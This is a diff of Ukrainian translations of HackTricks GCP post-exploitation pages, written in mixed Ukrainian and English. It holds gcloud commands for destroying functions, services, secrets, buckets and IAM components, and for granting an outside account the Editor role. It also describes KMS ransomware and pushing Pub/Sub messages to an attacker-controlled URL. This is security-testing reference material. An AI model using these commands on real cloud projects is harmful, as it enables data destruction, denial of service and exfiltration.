Source code всіх версій та сервісів **stored in the bucket** з ім'ям **`staging.<proj-id>.appspot.com`**. Якщо у вас є права на запис у ньому, ви можете читати Source Code і шукати **vulnerabilities** та **sensitive information**.
|
||||
|
||||
### Змінити Source Code
|
||||
|
||||
Змініть Source Code, щоб вкрасти credentials, якщо вони відправляються, або виконати defacement web attack.
|
||||
Змініть Source Code, щоб вкрасти credentials, якщо вони відправляються, або здійснити defacement web attack.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+13
-17
@@ -12,30 +12,30 @@
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
З цим дозволом ви можете отримати **signed URL, щоб мати змогу завантажити вихідний код** Cloud Function:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Отримати signed URL для завантаження вихідного коду</summary>
|
||||
За наявності цього дозволу ви можете отримати **signed URL, щоб завантажити вихідний код** Cloud Function:
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
### `cloudfunctions.functions.delete`
|
||||
Дозвіл `cloudfunctions.functions.delete` дозволяє ідентичності повністю видалити Cloud Function, включно з її кодом, конфігурацією, тригерами та асоціацією з service accounts.
|
||||
```bash
|
||||
gcloud functions delete <FUNCTION_NAME> \
|
||||
--region=us-central1 \
|
||||
--quiet
|
||||
```
|
||||
### Code Exfiltration через bucket
|
||||
The `storage.objects.get` and `storage.objects.list` permissions allow listing and reading objects inside a bucket, and in the case of Cloud Functions this is especially relevant because each function stores its source code in an automatically managed Google bucket, whose name follows the format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
|
||||
|
||||
### Викрадення запитів Cloud Function
|
||||
|
||||
Якщо Cloud Function обробляє конфіденційну інформацію, яку надсилають користувачі (наприклад passwords або tokens), маючи достатні привілеї ви можете **modify the source code of the function and exfiltrate** цю інформацію.
|
||||
Якщо Cloud Function обробляє чутливу інформацію, яку надсилають користувачі (наприклад паролі або токени), маючи достатні привілеї, ви можете **modify the source code of the function and exfiltrate** цю інформацію.
|
||||
|
||||
Більше того, Cloud Functions, що працюють на python, використовують **flask** для експонування веб-сервера — якщо вам якось вдасться знайти вразливість впровадження коду всередині процесу flaks (наприклад SSTI), можливо **override the function handler**, який отримуватиме HTTP requests, і замінити його на **malicious function**, яка може **exfiltrate the request** перед тим, як передати його легітимному handler'у.
|
||||
Крім того, Cloud Functions, що запускаються на python, використовують **flask** для експозиції web-сервера; якщо вам якось вдасться знайти вразливість code injection всередині flaks process (наприклад SSTI), можливо **override the function handler**, який прийматиме HTTP-запити, на **malicious function**, яка може **exfiltrate the request** перед тим, як передати його legit handler.
|
||||
|
||||
Наприклад цей код реалізує атаку:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Викрадення запитів Cloud Function (Python injection)</summary>
|
||||
For example this code implements the attack:
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -132,8 +132,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+17
-6
@@ -4,20 +4,31 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Для отримання додаткової інформації про Cloud Run перегляньте:
|
||||
Щоб дізнатись більше про Cloud Run, перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Доступ до зображень
|
||||
### Видалити CloudRun Job
|
||||
Права доступу `run.services.delete` і `run.services.get`, а також `run.jobs.delete`, дозволяють ідентичності повністю видалити Cloud Run service або job, включаючи їхню конфігурацію та історію. У руках зловмисника це може призвести до негайних збоїв у роботі додатків або критичних робочих процесів, спричиняючи відмову в обслуговуванні (DoS) для користувачів та систем, які залежать від логіки сервісу або важливих запланованих завдань.
|
||||
|
||||
Якщо ви можете отримати доступ до контейнерних зображень, перевірте код на наявність вразливостей та жорстко закодованої чутливої інформації. Також перевірте наявність чутливої інформації в змінних середовища.
|
||||
Щоб видалити job, можна виконати наступну операцію.
|
||||
```bash
|
||||
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
Щоб видалити сервіс, можна виконати наступну операцію.
|
||||
```bash
|
||||
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
### Доступ до образів
|
||||
|
||||
Якщо зображення зберігаються в репозиторіях всередині служби Artifact Registry і користувач має доступ для читання до репозиторіїв, він також може завантажити зображення з цієї служби.
|
||||
Якщо ви маєте доступ до контейнерних образів, перевірте код на наявність уразливостей та жорстко прописаної конфіденційної інформації. Також перевірте env variables на наявність конфіденційних даних.
|
||||
|
||||
### Змінити та повторно розгорнути зображення
|
||||
Якщо образи зберігаються в репозиторіях сервісу Artifact Registry і користувач має права читання цих репозиторіїв, він також може завантажити образ із цього сервісу.
|
||||
|
||||
Змініть зображення запуску, щоб вкрасти інформацію, і повторно розгорніть нову версію (просто завантаження нового контейнера docker з тими ж тегами не призведе до його виконання). Наприклад, якщо воно відкриває сторінку входу, вкрадіть облікові дані, які користувачі надсилають.
|
||||
### Змінити та повторно розгорнути образ
|
||||
|
||||
Змініть run image, щоб викрасти інформацію, і розгорніть нову версію (просто завантажити новий docker container з тими ж тегами не змусить його виконатися). Наприклад, якщо він відкриває сторінку входу, викрадьте credentials, які надсилають користувачі.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+29
-11
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Детальнішу інформацію про IAM можна знайти в:
|
||||
Ви можете знайти додаткову інформацію про IAM у:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,22 +12,40 @@
|
||||
|
||||
### Надання доступу до консолі керування <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
Доступ до [GCP management console](https://console.cloud.google.com) **надається обліковим записам користувачів, не service accounts**. Щоб увійти в веб-інтерфейс, ви можете **надати доступ обліковому запису Google**, яким ви керуєте. Це може бути загальний "**@gmail.com**" акаунт, він **не обов'язково має бути членом цільової організації**.
|
||||
Доступ до [GCP management console](https://console.cloud.google.com) надається **user accounts, not service accounts**. Щоб увійти у веб-інтерфейс, ви можете **надати доступ до Google account**, яким ви керуєте. Це може бути загальний "**@gmail.com**" обліковий запис, він **не обов'язково має бути членом цільової організації**.
|
||||
|
||||
Щоб, однак, **наділити** примітивну роль **Owner** загальний акаунт "@gmail.com", вам доведеться **використати веб-консоль**. `gcloud` видасть помилку, якщо ви спробуєте надати йому дозвіл вище ніж Editor.
|
||||
Щоб **надати** примітивну роль **Owner** загальному акаунту "@gmail.com", вам, однак, потрібно **використати веб-консоль**. `gcloud` виведе помилку, якщо ви спробуєте надати права вище Editor.
|
||||
|
||||
Ви можете використати наступну команду, щоб **надати користувачу примітивну роль Editor** у вашому існуючому проекті:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Надати користувачу роль Editor</summary>
|
||||
Ви можете використати таку команду, щоб **надати користувачеві примітивну роль Editor** у вашому існуючому проекті:
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
</details>
|
||||
If you succeeded here, try **accessing the web interface** and exploring from there.
|
||||
|
||||
Якщо вам тут вдалося, спробуйте **отримати доступ до веб-інтерфейсу** і дослідити звідти.
|
||||
This is the **highest level you can assign using the gcloud tool**.
|
||||
|
||||
Це **найвищий рівень, який ви можете призначити, використовуючи інструмент gcloud**.
|
||||
### Видалення компонентів IAM `iam.*.delete`
|
||||
Права `iam.*.delete` (наприклад, `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete` тощо) дозволяють ідентичності видаляти критично важливі компоненти IAM, такі як користувацькі ролі, прив'язки API-ключів, ключі service account та самі service account. У руках зловмисника це дає змогу прибрати легітимні механізми доступу з метою спричинення відмови в обслуговуванні.
|
||||
|
||||
Щоб здійснити таку атаку, наприклад, можна видалити ролі за допомогою:
|
||||
```bash
|
||||
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
|
||||
```
|
||||
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
|
||||
|
||||
Дозволи `iam.serviceAccountKeys.disable` та `iam.serviceAccounts.disable` дозволяють деактивувати активні ключі сервісного облікового запису або самі сервісні облікові записи. У руках атакувальника це може бути використано для порушення роботи, створення відмови в обслуговуванні або перешкоджання реагуванню на інциденти шляхом запобігання використанню легітимних облікових даних.
|
||||
|
||||
Щоб деактивувати Service Account, ви можете використати таку команду:
|
||||
```bash
|
||||
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
|
||||
```
|
||||
Щоб вимкнути keys Service Account, ви можете скористатися наступною командою:
|
||||
```bash
|
||||
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
|
||||
```
|
||||
### `iam.*.undelete`
|
||||
Права `iam.*.undelete` дозволяють відновлювати раніше видалені елементи, такі як прив'язки API-ключів, користувацькі ролі або сервісні акаунти. У руках зловмисника це може використовуватися для скасування захисних дій (відновлення вилученого доступу), повторного відновлення видалених векторів компрометації для збереження стійкої присутності або для ухилення від заходів усунення, що ускладнює локалізацію інциденту.
|
||||
```bash
|
||||
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+35
-9
@@ -12,7 +12,7 @@
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
Користувач attacker з цим дозволом може знищити версію KMS. Щоб це зробити, спочатку потрібно відключити ключ, а потім знищити його:
|
||||
Зловмисник із цим дозволом може знищити версію KMS. Щоб це зробити, спочатку потрібно відключити ключ, а потім знищити версію:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
У AWS можливо повністю **викрасти ключ KMS** шляхом зміни політики ресурсів KMS і дозволивши використовувати ключ лише обліковому запису зловмисника. Оскільки такі політики ресурсів відсутні в GCP, це неможливо.
|
||||
В AWS можливо повністю **steal a KMS key** шляхом зміни політики ресурсу KMS і дозволивши використовувати ключ лише обліковому запису нападника. Оскільки таких політик ресурсів у GCP немає, це неможливо.
|
||||
|
||||
Однак існує інший спосіб виконати глобальний KMS Ransomware, який включає такі кроки:
|
||||
|
||||
- Створити нову **версію ключа з матеріалом ключа**, імпортованим зловмисником
|
||||
- Створити нову **версію ключа з ключовим матеріалом**, імпортованим нападником
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- Встановити його як **версію за замовчуванням** (для майбутніх даних, що будуть зашифровані)
|
||||
- **Повторно зашифрувати старі дані**, зашифровані попередньою версією, новою версією.
|
||||
- Встановити його як **default version** (для майбутніх даних, що будуть зашифровані)
|
||||
- **Re-encrypt older data** — перешифрувати старі дані, зашифровані попередньою версією, за допомогою нової.
|
||||
- **Видалити KMS key**
|
||||
- Тепер лише зловмисник, який має оригінальний ключовий матеріал, зможе розшифрувати зашифровані дані
|
||||
- Тепер лише зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
|
||||
|
||||
#### Ось кроки для імпорту нової версії та відключення/видалення старих даних:
|
||||
#### Ось кроки для імпорту нової версії та вимкнення/видалення старих даних:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Імпортувати нову версію ключа та видалити стару версію</summary>
|
||||
<summary>Імпорт нової версії ключа та видалення старої версії</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -162,7 +162,7 @@ gcloud kms keys versions destroy \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Зашифрувати дані за допомогою симетричного ключа (Python)</summary>
|
||||
<summary>Шифрування даних симетричним ключем (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -270,6 +270,32 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.restore`
|
||||
Дозвіл `cloudkms.cryptoKeyVersions.restore` дозволяє ідентичності відновити версію ключа, яка раніше була запланована до знищення або відключена в Cloud KMS, повертаючи її в активний та придатний для використання стан.
|
||||
```bash
|
||||
gcloud kms keys versions restore <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.update`
|
||||
Дозвіл `cloudkms.cryptoKeyVersions.update` дозволяє суб'єкту змінювати атрибути або стан конкретної версії ключа в Cloud KMS, наприклад увімкнути або вимкнути її.
|
||||
```bash
|
||||
# Disable key
|
||||
gcloud kms keys versions disable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Enable key
|
||||
gcloud kms keys versions enable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+47
-21
@@ -12,11 +12,11 @@
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Опублікувати повідомлення в темі — корисно для **відправлення непередбачених даних** та запуску непередбачуваних функцій або використання вразливостей:
|
||||
Публікує повідомлення в topic, корисно для **надсилання несподіваних даних** та ініціювання несподіваної поведінки або експлуатації вразливостей:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Опублікувати повідомлення в темі</summary>
|
||||
<summary>Опублікувати повідомлення в topic</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Корисно, щоб запобігти отриманню підпискою повідомлень, наприклад щоб уникнути виявлення.
|
||||
Корисно, щоб запобігти отриманню підпискою повідомлень, наприклад для уникнення виявлення.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Від'єднати підписку від теми</summary>
|
||||
<summary>Від'єднати підписку від topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Корисно, щоб запобігти отриманню повідомлень підпискою, можливо для уникнення виявлення.\
|
||||
Можна видалити тему навіть якщо до неї прикріплені підписки.
|
||||
Корисно, щоб запобігти отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.\
|
||||
Можна видалити топік навіть якщо до нього приєднані підписки.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Видалити тему</summary>
|
||||
<summary>Видалити топік</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
@@ -50,30 +50,56 @@ gcloud pubsub topics delete <TOPIC NAME>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Використайте цей дозвіл, щоб змінити деякі налаштування теми задля її порушення, наприклад `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
Використовуйте цей дозвіл, щоб змінити деякі налаштування теми й порушити її роботу, наприклад `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Надайте собі дозвіл виконувати будь-яку з попередніх атак.
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Отримайте всі повідомлення на веб‑сервері:
|
||||
Отримати всі повідомлення на веб-сервері:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Створіть push subscription для отримання повідомлень</summary>
|
||||
<summary>Створити push subscription, щоб отримувати повідомлення</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
</details>
|
||||
|
||||
Створіть підписку і використайте її, щоб **витягувати повідомлення**:
|
||||
Створіть підписку і використайте її для **витягування повідомлень**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Створити pull-підписку і отримати повідомлення</summary>
|
||||
<summary>Створити pull-підписку та отримати повідомлення</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -86,7 +112,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Видалення підписки** може бути корисним для порушення системи обробки логів або чогось подібного:
|
||||
**Видалення підписки** може бути корисним для порушення роботи системи обробки логів або чогось подібного:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -98,7 +124,7 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Використовуйте цей дозвіл, щоб змінити налаштування так, щоб повідомлення зберігалися в місці, до якого ви маєте доступ (URL, Big Query table, Bucket), або просто щоб порушити їх доставку.
|
||||
Скористайтеся цим дозволом, щоб змінити налаштування так, щоб повідомлення зберігалися у місці, до якого ви маєте доступ (URL, Big Query table, Bucket), або просто щоб порушити їхню доставку.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Надайте собі дозволи, необхідні для виконання будь-яких із раніше описаних атак.
|
||||
Надайте собі дозволи, необхідні для виконання будь-якої з попередньо описаних attacks.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Прикріпіть схему до топіка так, щоб повідомлення їй не відповідали, і внаслідок цього топік було порушено.\
|
||||
Якщо схем немає, можливо, доведеться створити одну.
|
||||
Прикріпіть схему до топіка так, щоб повідомлення не відповідали їй і, відповідно, топік було порушено.\
|
||||
Якщо схем немає, можливо, доведеться створити її.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Створити файл схеми та прикріпити його до топіка</summary>
|
||||
<summary>Створіть файл схеми та прикріпіть до топіка</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -148,7 +174,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Може здатися, що видаливши schema, ви зможете надсилати повідомлення, які не відповідають schema. Проте, оскільки schema буде видалено, жодне повідомлення фактично не потрапить у topic. Тому це **БЕЗКОРИСНО**:
|
||||
Може здатися, що видаливши schema, ви зможете надсилати повідомлення, які їй не відповідають. Однак, оскільки schema буде видалено, жодне повідомлення фактично не потрапить у topic. Отже це **НЕКОРИСНО**:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -160,11 +186,11 @@ gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Надайте собі дозволи, необхідні для виконання будь-якої з попередньо згаданих атак.
|
||||
Надайте собі дозволи, необхідні для виконання будь-якої з раніше зазначених атак.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Це створить snapshot всіх unACKed повідомлень і поверне їх назад у підписку. Не дуже корисно для зловмисника, але ось:
|
||||
Це створить snapshot усіх unACKed messages і поставить їх назад у subscription. Не дуже корисно для атакувальника, але ось:
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
+25
-2
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
Для отримання додаткової інформації про Secret Manager див.:
|
||||
Для додаткової інформації про Secret Manager див.:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Це дає доступ до читання секретів із Secret Manager і може допомогти в ескалації привілеїв (залежно від того, яка інформація зберігається в секреті):
|
||||
Це дає можливість читати секрети з secret manager і може допомогти в ескалації привілеїв (залежно від того, яка інформація зберігається всередині секрету):
|
||||
|
||||
<details>
|
||||
|
||||
@@ -23,4 +23,27 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `secretmanager.versions.destroy`
|
||||
Дозвіл `secretmanager.versions.destroy` дає змогу ідентичності постійно знищити (позначити як безповоротно видалену) конкретну версію секрету в Secret Manager, що може дозволити видалення критичних облікових даних та потенційно спричинити відмову в обслуговуванні або перешкодити відновленню чутливих даних.
|
||||
```bash
|
||||
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.versions.disable`
|
||||
Дозвіл `secretmanager.versions.disable` дозволяє ідентичності відключати активні версії секретів у Secret Manager, тимчасово блокуючи їх використання додатками або сервісами, які від них залежать.
|
||||
```bash
|
||||
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.secrets.delete`
|
||||
Набір дозволів `secretmanager.secrets.delete` дозволяє ідентичності повністю видалити секрет і всі його збережені версії у Secret Manager.
|
||||
```bash
|
||||
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `secretmanager.secrets.update`
|
||||
Дозвіл `secretmanager.secrets.update` дозволяє сутності змінювати метадані та конфігурацію секрету (наприклад, налаштування ротації, політику версій, мітки та певні властивості секрету).
|
||||
```bash
|
||||
gcloud secrets update SECRET_NAME \
|
||||
--project=PROJECT_ID \
|
||||
--clear-labels \
|
||||
--rotation-period=DURATION
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+58
-11
@@ -1,22 +1,18 @@
|
||||
# GCP - Storage Постексплуатація
|
||||
# GCP - Storage Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Storage
|
||||
|
||||
Для додаткової інформації про Cloud Storage перегляньте цю сторінку:
|
||||
Для отримання додаткової інформації про Cloud Storage перегляньте цю сторінку:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give Public Access
|
||||
### Надати публічний доступ
|
||||
|
||||
Можна надати зовнішнім користувачам (авторизованим у GCP або ні) доступ до вмісту bucket'ів. Однак за замовчуванням для bucket'ів опція публічного доступу вимкнена:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Зробити bucket/objects публічними</summary>
|
||||
Можна надати зовнішнім користувачам (зареєстрованим у GCP або ні) доступ до вмісту bucket. Проте за замовчуванням для bucket опція публічного доступу буде вимкнена:
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -29,10 +25,61 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
</details>
|
||||
Якщо ви спробуєте надати **ACLs для bucket, у якого вимкнено ACLs**, ви отримаєте цю помилку: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Якщо ви спробуєте надати **ACLs to a bucket with disabled ACLs** ви отримаєте цю помилку: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
Щоб отримати доступ до відкритих bucket через браузер, перейдіть за URL `https://<bucket_name>.storage.googleapis.com/` або `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
Щоб отримати доступ до відкритих buckets через браузер, відкрийте URL `https://<bucket_name>.storage.googleapis.com/` або `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
### `storage.objects.delete` (`storage.objects.get`)
|
||||
|
||||
Щоб видалити об'єкт:
|
||||
```bash
|
||||
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
|
||||
|
||||
Щоб видалити bucket:
|
||||
```bash
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
```
|
||||
### Деактивація HMAC-ключів
|
||||
|
||||
Дозвіл `storage.hmacKeys.update` дозволяє деактивувати HMAC-ключі, а дозвіл `storage.hmacKeys.delete` дозволяє ідентичності видаляти HMAC-ключі, пов'язані з сервісними обліковими записами в Cloud Storage.
|
||||
```bash
|
||||
# Deactivate
|
||||
gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
|
||||
# Delete
|
||||
gcloud storage hmac delete <ACCESS_ID>
|
||||
```
|
||||
### `storage.buckets.setIpFilter` & `storage.buckets.update`
|
||||
|
||||
Дозвіл `storage.buckets.setIpFilter` у поєднанні з дозволом `storage.buckets.update` дає змогу ідентичності налаштовувати фільтри IP-адрес на Cloud Storage bucket, вказуючи, які діапазони або IP-адреси можуть мати доступ до ресурсів bucket.
|
||||
|
||||
Щоб повністю очистити IP-фільтр, можна використати наступну команду:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
Щоб змінити відфільтровані IP-адреси, можна використати таку команду:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> \
|
||||
--ip-filter-file=ip-filter.json \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
JSON-файл представляє сам фільтр, щось на кшталт:
|
||||
```bash
|
||||
{
|
||||
"mode": "Enabled",
|
||||
"publicNetworkSource": {
|
||||
"allowedIpCidrRanges": ["<IP>/<MASK>"]
|
||||
},
|
||||
"allowCrossOrgVpcs": false,
|
||||
"allowAllServiceAgentAccess": false
|
||||
}
|
||||
```
|
||||
### `storage.buckets.restore`
|
||||
Відновити bucket за допомогою:
|
||||
```bash
|
||||
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+124
-72
@@ -1,87 +1,139 @@
|
||||
# GCP - Apikeys Privesc
|
||||
# GCP - AppEngine Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apikeys
|
||||
## App Engine
|
||||
|
||||
Зверніть увагу на це з документації: _API key — це простий зашифрований рядок, який **ідентифікує додаток без будь-якого принципала**. Вони корисні для доступу до **публічних даних анонімно**, і використовуються для **асоціювання** API-запитів з вашим проектом для квоти та **оплати**._
|
||||
|
||||
